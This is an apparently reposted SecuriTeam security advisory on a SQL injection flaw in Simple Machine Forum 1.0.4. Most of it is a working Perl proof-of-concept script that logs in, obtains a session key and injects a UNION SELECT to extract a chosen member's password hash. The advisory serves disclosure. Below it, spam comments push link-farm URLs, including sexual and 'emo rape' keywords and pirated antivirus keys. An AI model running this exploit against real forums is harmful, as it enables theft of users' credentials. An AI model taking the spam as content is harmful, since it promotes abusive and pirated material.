The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Simple Machine Forum SQL Injection (modify)
------------------------------------------------------------------------
SUMMARY
" <http://www.simplemachines.org/> Simple Machine Forum is a
next-generation community software package and is jam-packed with
features, while at the same time having a minimal impact on resources."
SQL Injection vulnerability discovered in Simple Machine Forum allows
remote attackers to inject arbitrary SQL statements, the following exploit
code will retrieve the password has of the user ID of the attacker's
choosing.
DETAILS
Vulnerable Systems:
* Simple Machine Forum version 1.0.4
Exploit:
#!/usr/bin/perl -w
########################################
# SMF Modify SQL Injection // All Versions // By James
http://www.gulftech.org #
########################################
# Simple proof of concept for the modify post SQL Injection issue I
discovered #
# in Simple Machine Forums. Supply this script with your username password
and #
# the complete url to a post you made, and have permission to edit.
06/19/2005 #
########################################
use LWP::UserAgent;
if ( !$ARGV[3] )
{
print "Usage: smf.pl user pass target_uid modify_url\n";
exit;
}
print "##########################\n";
print "# Simple Machine Forums Modify Post SQL Injection #\n";
print "##########################\n";
my $user = $ARGV[0]; # your username
my $pass = $ARGV[1]; # your password
my $grab = $ARGV[2]; # the id of the target account
my $post = $ARGV[3]; # the entire url to modify a post you made
my $dump = '%20UNION%20SELECT%20memberName,0,passwd," .
"0,0%20FROM%20smf_members%20WHERE%20ID_MEMBER=' . $grab . '/*';
$post =~ s/msg=([0-9]{1,10})/msg=$1$dump/;
my $path = ( $post =~ /^(.*)\/index\.php/) ? $1: die("[!] The post url you
entered seems invalid!\n");
my $ua = new LWP::UserAgent;
$ua->agent("SMF Hash Grabber v1.0" . $ua->agent);
$ua->cookie_jar({});
print "[*] Trying $path ...\n";
my $req = new HTTP::Request POST => $path . "/index.php?action=login2";
$req->content_type('application/x-www-form-urlencoded');
$req->content('user=' . $user . '&passwrd=' . $pass .
'&cookielength=-1');
my $res = $ua->request($req);
print "[*] Logging In ...\n";
# When a correct login is made, a redirect is issued, and no
# text/html is sent to the browser really. We put 1024 to be
# safe. This part can be altered in case of modded installs!
if ( length($res->content) < 1024 )
{
print "[+] Successfully logged in as $user \n";
my $sid = $ua->get($path .
'/index.php?action=profile;sa=account');
# We get our current session id to be used
print "[*] Trying To Get Valid Sesc ID \n";
if ( $sid->content =~ /sesc=([a-f0-9]{32})/ )
{
# Replace the old session parameter with the
# new one so we do not get an access denied!
my $sesc = $1;
$post =~ s/sesc=([a-f0-9]{32})/sesc=$sesc/;
print "[+] Valid Sesc Id : $sesc\n";
print "[*] Trying to get password hash ...\n";
my $pwn = $ua->get($post);
if ( $pwn->content =~ />([a-z0-9]{32})<\//i )
{
print "[+] Got the password hash!\n";
print "[+] Password Hash : $1\n";
}
else
{
print "[!] Exploit Failed! Try manually verifying
the vulnerability \n";
}
}
else
{
print '[!] Unable to obtain a valid sesc key!!';
exit;
}
}
else
{
print '[!] There seemed to be a problem logging you in!';
exit;
}
ADDITIONAL INFORMATION
The information has been provided by James.
The original article can be found at: <http://www.gulftech.org>
http://www.gulftech.org
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
10 comments:
Just wanted to say hello someplace. Found [url=http://www.google.com/ncr]you guys through google[/url]. Hope to contribute more soon!
-wrendawedo
love hina pregnant
Hi!
I’ve been reading the section for quite a long time but was feeling shy to subscribe.
I have searched through the whole net but still I can’t find the solution to my issue that is why I would like to listen to your piece of advice
[URL=http://top-100-punk-bands.emogirlsemoemo.info]top 100 punk bands[/URL]
[URL=http://emo-sites.emogirlsemoemo.info]emo sites[/URL]
[URL=http://punk-rock-hair-styles.emogirlsemoemo.info]punk rock hair styles[/URL]
[URL=http://emo-barbie.emogirlsemoemo.info]emo barbie[/URL]
[URL=http://punk-rock-groups.emogirlsemoemo.info]punk rock groups[/URL]
[URL=http://emo-family.emogirlsemoemo.info]emo family[/URL]
[URL=http://emo-girls-videos.emogirlsemoemo.info]emo girls videos[/URL]
[URL=http://emo-couples.emogirlsemoemo.info]emo couples[/URL]
[URL=http://punk-wedding-dresses.emogirlsemoemo.info]punk wedding dresses[/URL]
[URL=http://short-emo-haircuts.emogirlsemoemo.info]short emo haircuts[/URL]
Well that’s it. your ideas are very important to me
Best Regards
Your Hejen
mature amateur sex
Howdy!
I’ve been reading the section for quite a long time but was feeling shy to join.
I have searched through the whole net but still I can’t find the answer to my problem that is why I would like to listen to your piece of advice
today some new emo links for you!
[URL=http://emo-hot.emopornemopornemopornemogirls.info]emo hot[/URL]
[URL=http://hot-emo-babes.emopornemopornemopornemogirls.info]hot emo babes[/URL]
[URL=http://punk-rock-hair-styles.emogirlsemoemo.info]punk rock hair styles[/URL]
[URL=http://emo-rape.emopornemopornemopornemogirls.info]emo rape[/URL]
[URL=http://pretty-emo-girls.emopornemopornemopornemogirls.info]pretty emo girls[/URL]
[URL=http://cute-emo-pics.emopornemopornemopornemogirls.info]cute emo pics[/URL]
[URL=http://emo-gallery.emopornemopornemopornemogirls.info]emo gallery[/URL]
[URL=http://emo-cutter-girl.emopornemopornemopornemogirls.info]emo cutter girl[/URL]
[URL=http://emo-lesbian.emopornemopornemopornemogirls.info]emo lesbian[/URL]
[URL=http://emopornemopornemopornemogirls.info]emo[/URL]
[URL=http://emo-love-death.emopornemopornemopornemogirls.info]emo love death[/URL]
[URL=http://sexy-punk.emopornemopornemopornemogirls.info]sexy punk[/URL]
Well that’s it. Thank you before hand for your help
Best Regards
Your Sofia
В общем, вот нашел один-единственный альбом:
[url=http://rockzona.org/music/albums-m/2982-margenta-cvetok-majorana-2010.html]Margenta - Цветок Майорана - 2010[/url]
Хотел бы еще что-нибудь послушать в их исполнениии, очень зацепило. В гугле ничего не нашел, может, кто-нибудь знает еще их песни?
Всем привет! Нашел работающие ключи для касперского, делюсь с вами:
[url=http://upor.at.ua/load/svezhie_kljuchi_dlja_kaspera_na_23_aprelja_2010/1-1-0-27]скачать ключи[/url] Файлы на сервере, не нужно возиться с файлообменниками!
[url=http://raretechappeal.prohost.es/2010/11/09/the-real-estate-blog/]real estate signs[/url], safety sign, [url=http://allthelightsinthecityareon.cakipin.com/?p=8]digital signs[/url], open house signs, [url=http://jeffwu.dlsb.eu/2010/11/09/miami-real-estate/]realtor yard signs[/url], coroplast signs, [url=http://www.fetes.org/forum2/profile.php?mode=viewprofile&u=105708]banner signs[/url], political signs
[url=http://signalvsnoise.kapukvalley.net/2010/11/09/downtown-sarasota-real-estate/]magnetic car signsplastic yard signs[/url], exterior signs, [url=http://blog.christal.biz/wamgolf/]sign creator[/url], political yard signs, [url=http://developmentonashoestring.lifebargain.com/2010/11/09/denver-homes/]sign creator[/url], fast signs, [url=http://flashladybug.unrestrictedminds.com/bulk-plastic-yard-signs/4-south-florida-real-estate.html]custom yard signs[/url], car signs
[url=http://realtythoughts.agyfasz.hu/]plastic yard signs[/url], sign business, [url=http://educationguide.cn/blog/simplenomics/2010/11/10/ask-jerry-boutcher/]safety signs[/url], yard sign, [url=http://mortgagesexplained.anyhow5.com/]sign letters[/url], political signs, [url=http://english-meetup.com/marketingtips/2010/11/09/beautiful-santa-barbara-blog/]custom sign[/url], sign making
[url=http://gaucherschat.com/buccaneers/]screen printingcoroplast signs[/url], magnetic sign, [url=http://visual28.jlmiles.preachersfiles.com/2010/11/09/relaxed-real-estate-for-magnificent-agents/]corrugated yard signs[/url], magnetic car signs, [url=http://expatsters.com/garyland/]magnetic signs[/url], coroplast sign, [url=http://www.breenxt.net/rssapplied/2010/11/09/sunday-morning-talk/]printing signs[/url], coroplast signs
Hey just becoming a member, glad to be in! I look ahead to partcipating and have study a great deal so far, so hello!
Sooo anyways, enough about me, see you close to and hello again haha.
BTW, what can I do to change the little picture thingy like some people have, I like it but can't figure it out haha
Hey just joining, glad to be in! I'm glad to be right here lastly, heading to post since I've been reading a lengthy time.
I've been concerned in some other forums and have observed this destination to have a lot improved material, so it makes sense to as a final point publish!
BTW, what can I do to change the little picture thingy like some people have, I like it but can't figure it out haha
Post a Comment